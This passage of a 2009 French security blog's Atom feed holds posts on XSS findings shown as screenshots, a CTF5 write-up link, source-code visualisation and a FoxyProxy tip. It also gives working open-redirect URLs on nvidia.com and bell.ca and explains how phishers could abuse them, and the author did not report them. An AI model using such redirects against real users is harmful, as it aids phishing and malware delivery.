rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/7893804691851757019?v=2" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/2009/06/nouvelle-edition-de-phrack.html" title="Nouvelle édition de phrack" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><thr:total>2</thr:total></entry><entry gd:etag="W/&quot;DUIESXc8fyp7ImA9WxJQEEw.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799.post-2504997614406473124</id><published>2009-05-22T00:45:00.006-04:00</published><updated>2009-05-22T14:38:28.977-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-22T14:38:28.977-04:00</app:edited><title>Quelques XSS pour la route</title><content type="html">Quelques petits XSS trouvés dernièrement.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt; &lt;span style="color: rgb(51, 102, 255);font-family:courier new;" &gt;mypictures.bell.ca&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;On pourrait être porté à croire que je m'acharne sur Bell Canada mais je ne le fait vraiment pas intentionnellement.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_9BvPEH0xq_M/ShYvQY7gUQI/AAAAAAAAABE/0PuD20TFvu8/s1600-h/bell-xss.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 242px;" src="http://2.bp.blogspot.com/_9BvPEH0xq_M/ShYvQY7gUQI/AAAAAAAAABE/0PuD20TFvu8/s320/bell-xss.jpg" alt="" id="BLOGGER_PHOTO_ID_5338506366910746882" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);font-size:85%;" &gt;&lt;span style="font-family:courier new;"&gt;familyguydirect.com&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;J'attire votre attention sur l'erreur SQL au haut de la page (Injection anybody?) .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_9BvPEH0xq_M/ShYw1HpxPjI/AAAAAAAAABM/DQo8-jiubSs/s1600-h/familyguydirect-xss.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 187px;" src="http://2.bp.blogspot.com/_9BvPEH0xq_M/ShYw1HpxPjI/AAAAAAAAABM/DQo8-jiubSs/s320/familyguydirect-xss.JPG" alt="" id="BLOGGER_PHOTO_ID_5338508097439743538" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4190540950412561799-2504997614406473124?l=solution-36.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/intheknow-security/~4/BL5B3G2XYi4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/2504997614406473124/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://solution-36.blogspot.com/2009/05/quelques-xss-pour-la-route.html#comment-form" title="0 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/2504997614406473124?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/2504997614406473124?v=2" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/2009/05/quelques-xss-pour-la-route.html" title="Quelques XSS pour la route" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_9BvPEH0xq_M/ShYvQY7gUQI/AAAAAAAAABE/0PuD20TFvu8/s72-c/bell-xss.jpg" height="72" width="72" /><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;DU4FSHw9eyp7ImA9WxJRFEw.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799.post-125871566456958868</id><published>2009-05-15T15:55:00.005-04:00</published><updated>2009-05-15T16:05:19.263-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-15T16:05:19.263-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="hacking" /><title>Comment gagner à Capture The Flag 5</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm4.static.flickr.com/3324/3523553422_dc1953a432.jpg?v=0"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 115px; height: 93px;" src="http://farm4.static.flickr.com/3324/3523553422_dc1953a432.jpg?v=0" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;CTF5 est un challenge de sécurité informatique disponible au &lt;a href="http://lampsecurity.org/capture-the-flag-5"&gt;http://lampsecurity.org/capture-the-flag-5&lt;/a&gt; . Il s'agit d'une machine virtuelle pour VMWare contenant un serveur vulnérable. Le but du jeu est de compromettre le serveur.&lt;br /&gt;&lt;br /&gt;J'ai préparé &lt;a href="http://hax.ekse-0x.net/comment_gagner_a_CTF5.pdf"&gt;un petit document&lt;/a&gt; qui explique comment je m'y suis pris pour devenir root. Bien sûr je vous encourage à ne pas le consulter avant d'avoir essayé par vous même. Je serais intéressé à connaitre la façon dont vous vous y êtes pris si vous avez emprunté des chemins différents. J'attends vos commentaires.&lt;br /&gt;&lt;br /&gt;Happy Hacking!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4190540950412561799-125871566456958868?l=solution-36.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/intheknow-security/~4/iOaae0uMYdQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/125871566456958868/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://solution-36.blogspot.com/2009/05/comment-gagner-capture-flag-5.html#comment-form" title="0 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/125871566456958868?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/125871566456958868?v=2" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/2009/05/comment-gagner-capture-flag-5.html" title="Comment gagner à Capture The Flag 5" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;CEEASX46cSp7ImA9WxJSE0w.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799.post-7244352822901055756</id><published>2009-05-02T17:32:00.005-04:00</published><updated>2009-05-02T21:04:08.019-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-02T21:04:08.019-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="analyse" /><title>Visualiser le code source d'un logiciel</title><content type="html">En tant qu'informaticien, il m'arrive souvent de lire le code source d'un logiciel, que ce soit pour en comprendre le fonctionnement, pour y faire des modifications ou pour trouver des problèmes de sécurité. Un logiciel pouvant facilement être composé de plusieurs milliers de lignes de code, des moyens pour comprendre la structure du code deviennent essentiels.&lt;br /&gt;&lt;br /&gt;Lorsque j'explore le code source d'un nouveau logiciel, j'utilise &lt;a href="http://windirstat.info/"&gt;WinDirStat.&lt;/a&gt; WinDirStat représente graphiquement un dossier en fonction de la taille et du type des fichiers. Si ce logiciel est fort utile pour trouver les fichiers occupant le plus d'espace sur un disque dur, il permet aussi de connaitre rapidement la structure d'un logiciel à partir de son code source.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_9BvPEH0xq_M/SfzpkkCKj_I/AAAAAAAAAA8/3Srv_URnjYU/s1600-h/windirstat_ossec.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 451px; height: 360px;" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/SfzpkkCKj_I/AAAAAAAAAA8/3Srv_URnjYU/s400/windirstat_ossec.png" alt="" id="BLOGGER_PHOTO_ID_5331392873257144306" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Cette image représente le code source de l'IDS &lt;a href="http://www.ossec.net"&gt;OSSEC&lt;/a&gt; vu par WinDirStat. On peut facilement voir les fichiers les plus volumineux. Les fichiers en bleu représentent du code source en langage C. On peut voir que la section du code de syscheck, encadrée en blanc, est une portion importante du logiciel.&lt;br /&gt;&lt;br /&gt;WinDirStat est un logiciel libre et gratuit pour Windows. La prochaine version devrait permettre de sauvegarder le résultat d'un analyse, une fonction pratique pour les codes sources volumineux.&lt;br /&gt;&lt;br /&gt;Pour terminer, je vous conseille fortement de lire &lt;a href="http://oreilly.com/catalog/9781593271435/"&gt;Security Data Visualization&lt;/a&gt; de Greg Conti. Il y présente plusieurs méthodes pour représenter visuellement des données pour y distinguer des situtations difficiles à identifier autrement.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4190540950412561799-7244352822901055756?l=solution-36.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/intheknow-security/~4/Zonqykwmhf8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/7244352822901055756/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://solution-36.blogspot.com/2009/05/visualiser-le-code-source-dun-logiciel.html#comment-form" title="0 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/7244352822901055756?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/7244352822901055756?v=2" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/2009/05/visualiser-le-code-source-dun-logiciel.html" title="Visualiser le code source d'un logiciel" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_9BvPEH0xq_M/SfzpkkCKj_I/AAAAAAAAAA8/3Srv_URnjYU/s72-c/windirstat_ossec.png" height="72" width="72" /><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;DUMEQ38-fyp7ImA9WxVaFks.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799.post-4875420158906579291</id><published>2009-04-13T19:55:00.003-04:00</published><updated>2009-04-13T20:03:22.157-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-04-13T20:03:22.157-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="open redirect" /><title>Un autre open-redirect</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://gigapple.files.wordpress.com/2008/10/nvidia_logo.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 135px; height: 130px;" src="http://gigapple.files.wordpress.com/2008/10/nvidia_logo.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;En voulant mettre à jour le driver de ma carte vidéo NVIDIA pour jouer à &lt;a href="http://www.l4d.com/"&gt;Left 4 Dead&lt;/a&gt;, je suis tombé sur un beau open-redirect :&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;http://www.nvidia.com/content/DriverDownload/download_confirmation.asp?kw=&amp;amp;url=http://www.google.com/&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Je trouve celui-ci plutôt intéressant car il affiche un message comme quoi le téléchargement va démarrer sous peu. Une personne mal intentionnée pourrait facilement mettre quelque chose d'autre en téléchargement, par exemple une version modifiée du driver qui installe aussi un backdoor et mettre ce lien sur un site de téléchargement.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4190540950412561799-4875420158906579291?l=solution-36.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/intheknow-security/~4/k9xyKRkiZyE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/4875420158906579291/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://solution-36.blogspot.com/2009/04/un-autre-open-redirect.html#comment-form" title="0 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/4875420158906579291?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/4875420158906579291?v=2" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/2009/04/un-autre-open-redirect.html" title="Un autre open-redirect" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;C0IESXw4cCp7ImA9WxJTE04.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799.post-9106859434325652523</id><published>2009-04-11T19:28:00.008-04:00</published><updated>2009-04-21T12:31:48.238-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-04-21T12:31:48.238-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="open redirect" /><title>Les "Open Redirects" et comment les exploiter</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.flickr.com/photos/chrisdlugosz/2805048271/"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 141px; height: 106px;" src="http://farm4.static.flickr.com/3030/2805048271_90aa8bdedf.jpg?v=0" alt="" border="0" /&gt;&lt;/a&gt;Il ne se passe littéralement pas une semaine sans que je tombe sur un&lt;a href="http://www.owasp.org/index.php/Open_redirect"&gt; open redirect&lt;/a&gt;. Un peu comme les XSS, ce type de vulnérabilité ne semble pas vraiment pris au sérieux par les concepteurs de site web. Mais quand on en découvre même sur le &lt;a href="http://www.bell.ca/shopping/PrsShpTv_DTH_BestHDPVR.page?&amp;amp;content=http://www.google.com"&gt;site de Bell Canada&lt;/a&gt;, ça devient inquiétant. (fonctionne dans Firefox mais pas IE8 car la redirection est basée sur du javascript qui dépend du navigateur utilisé).&lt;br /&gt;&lt;br /&gt;Pourquoi ce genre de problème devrait-il est inquiétant ? Parce qu'il facilite grandement la pratique du phishing (hameçonnage pour les francophiles). Imaginez qu'on vous envoie un courriel vous invitant à mettre à jour les informations de votre compte, le message paraitra beaucoup plus crédible s'il contient un lien qui pointe sur le vrai site de la compagnie. Le lien que je donnais en exemple vend la mèche, mais il suffit d'ajouter un paquet de paramètres et l'attaque devient beaucoup moins visible.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;http://www.bell.ca/shopping/PrsShpTv_DTH_BestHDPVR.page?regionToggle=true&amp;amp;languageToggle=true&amp;amp;metaKey=PrsShpTv_DTH_BestHDPVR&amp;amp;EXT=XVU_SA_200808008_EHD_LC_supppg&amp;amp;province=QUEBEC&amp;amp;myurl=CSQ&amp;amp;mobility_upgrade=false&amp;amp;content=http://www.google.com/&amp;amp;metaKey=PrsShpTv_DTH_BestHDPVR&amp;amp;EXT=XVU_SA_200808008_EHD_LC_supppg&amp;amp;region=QC&amp;amp;language=fr&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;J'avais l'intention de rapporter le problème à Bell avant de publier mon billet mais il est tellement compliqué de trouver un adresse email sur leur foutu site que j'ai laissé faire.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4190540950412561799-9106859434325652523?l=solution-36.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/intheknow-security/~4/2BUqFWsty0A" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/9106859434325652523/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://solution-36.blogspot.com/2009/04/les-open-redirects-et-comment-les.html#comment-form" title="0 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/9106859434325652523?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/9106859434325652523?v=2" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/2009/04/les-open-redirects-et-comment-les.html" title="Les &quot;Open Redirects&quot; et comment les exploiter" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;D0cMQXg5eip7ImA9WxVbGEo.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799.post-6584423185983319497</id><published>2009-04-04T15:33:00.006-04:00</published><updated>2009-04-04T15:58:00.622-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-04-04T15:58:00.622-04:00</app:edited><title>Utiliser FoxyProxy pour tester la sécurité d'un site web</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_9BvPEH0xq_M/Sde60GGfyBI/AAAAAAAAAAM/w7wSIA5FvCI/s1600-h/foxyproxy.PNG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 144px; height: 138px;" src="http://1.bp.blogspot.com/_9BvPEH0xq_M/Sde60GGfyBI/AAAAAAAAAAM/w7wSIA5FvCI/s320/foxyproxy.PNG" alt="" id="BLOGGER_PHOTO_ID_5320926888915355666" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Avec la popularité grandissante du web et des attaques qui y sont associées, plusieurs outils sont rendus disponibles. Un type d'outil fort utile est les proxy spécialisés, par exemple &lt;a href="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project"&gt;WebScarab&lt;/a&gt;, &lt;a href="http://portswigger.net/suite/"&gt;Burp Suite&lt;/a&gt;, &lt;a href="http://www.parosproxy.org/index.shtml"&gt;Paros&lt;/a&gt;. Ces proxy permettent de modifier les requêtes envoyées au serveur afin de trouver des failles.&lt;br /&gt;&lt;br /&gt;Pour les utiliser, il faut configurer son navigateur pour utiliser un proxy. Avec Firefox, il devient rapidement lassant d'aller dans le menu pour éditer manuellement la configuration chaque fois qu'on veut activer/désactiver le proxy. Une solution élégante : utiliser &lt;a href="http://foxyproxy.mozdev.org/"&gt;FoxyProxy&lt;/a&gt;. FoxyProxy est un addon qui vous permet de configurer plusieurs proxy et de les activer en appuyant sur un simple bouton.&lt;br /&gt;&lt;br /&gt;Mais encore mieux, vous pouvez définir des règles pour déterminer quel proxy utiliser. Pour activer un proxy uniquement pour les connexions locales, on ajoute par exemple la règle suivante :&lt;blockquote&gt;&lt;/blockquote&gt;&lt;blockquote&gt;http*://127.0.0.1/*&lt;/blockquote&gt;De cette façon, seules les requêtes pertinentes sont interceptées. Évidemment, il est préférable d'utiliser un profil séparé pour faire ce genre de tests, mais si vous êtes comme moi vous faites surement une vingtaine de choses en même temps et pouvoir ségréger le trafic de cette façon se révèle vraiment utile.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4190540950412561799-6584423185983319497?l=solution-36.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/intheknow-security/~4/eSslaBml9yg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/6584423185983319497/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://solution-36.blogspot.com/2009/04/utiliser-foxyproxy-pour-tester-la.html#comment-form" title="0 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/6584423185983319497?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/6584423185983319497?v=2" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/2009/04/utiliser-foxyproxy-pour-tester-la.html" title="Utiliser FoxyProxy pour tester la sécurité d'un site web" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_9BvPEH0xq_M/Sde60GGfyBI/AAAAAAAAAAM/w7wSIA5FvCI/s72-c/foxyproxy.PNG" height="72" width="72" /><thr:total>0</thr:total></entry></feed>

